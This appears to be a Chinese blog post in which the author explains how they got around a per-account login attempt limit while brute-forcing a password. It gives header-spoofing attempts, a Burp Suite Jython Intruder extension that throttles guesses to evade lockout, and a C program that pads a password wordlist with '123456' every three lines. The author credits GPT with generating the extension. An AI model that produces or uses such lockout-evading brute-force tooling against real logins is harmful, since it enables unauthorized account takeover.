今天遇见了这样的一个登录,虽然没有验证码,但是有限制同一账号登录次数
我尝试了网上绕过的各种方法,比如说改ip,就是用bp的鱼叉模式,选中数据包中ip地址
X-Forwarded-For:127.0.0.*;
或者
client-ip:192.168.1.*
诸如此类,最终,我放弃了,我开始想另一种方法,在网上浏览,无意间发现Burp Suite可以使用python脚本语言,我就在想是不是可以让每三次登录然后暂停一分钟,要不然压根无计可施,找寻资料后,我发现它是由JYTHON实现的,于是我登录官网下载了JYTHON的jar包开始导入
找到如图所示的地方,添加jar包,我用的是官网的最新版
https://www.jython.org/download
下载之后进行添加结束后,开始写python脚本
# coding=utf-8
import time
from burp import IBurpExtender
from burp import IIntruderPayloadProcessor
class BurpExtender(IBurpExtender, IIntruderPayloadProcessor):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Login Pause After 3 Attempts")
callbacks.registerIntruderPayloadProcessor(self)
self.login_attempts = 0
def getProcessorName(self):
return "Login Pause Processor"
def processPayload(self, currentPayload, originalPayload, baseValue):
self.login_attempts += 1
if self.login_attempts % 4 == 0:
print("暂停1分钟...")
time.sleep(65) # 暂停60秒
return currentPayload
代码由gpt生成,我将每三次修改成了每四次停止一次,时间也由60秒修改为65,然后用C语言,在我的密码本上每三行后面添加一行123456
#include <stdio.h>
#include <stdlib.h>
int main() {
FILE *fpIn, *fpOut;
char line[1024]; // 假设每行不超过1023个字符加上一个换行符
int count = 0;
// 打开原始文件用于读取
fpIn = fopen("input.txt", "r");
if (fpIn == NULL) {
perror("Error opening file");
return -1;
}
// 打开(或创建)输出文件用于写入
fpOut = fopen("output.txt", "w");
if (fpOut == NULL) {
fclose(fpIn); // 不要忘记关闭已打开的文件
perror("Error opening file");
return -1;
}
// 逐行读取并写入
while (fgets(line, sizeof(line), fpIn)) {
fputs(line, fpOut); // 写入当前行到输出文件
count++; // 更新行计数器
// 每三行后插入"123456"
if (count % 3 == 0) {
fputs("123456\n", fpOut);
}
}
// 关闭文件
fclose(fpIn);
fclose(fpOut);
return 0;
}
加载py脚本进入bp
启动,虽然一分钟三个密码有点慢,但是没办法,这种限制只能如此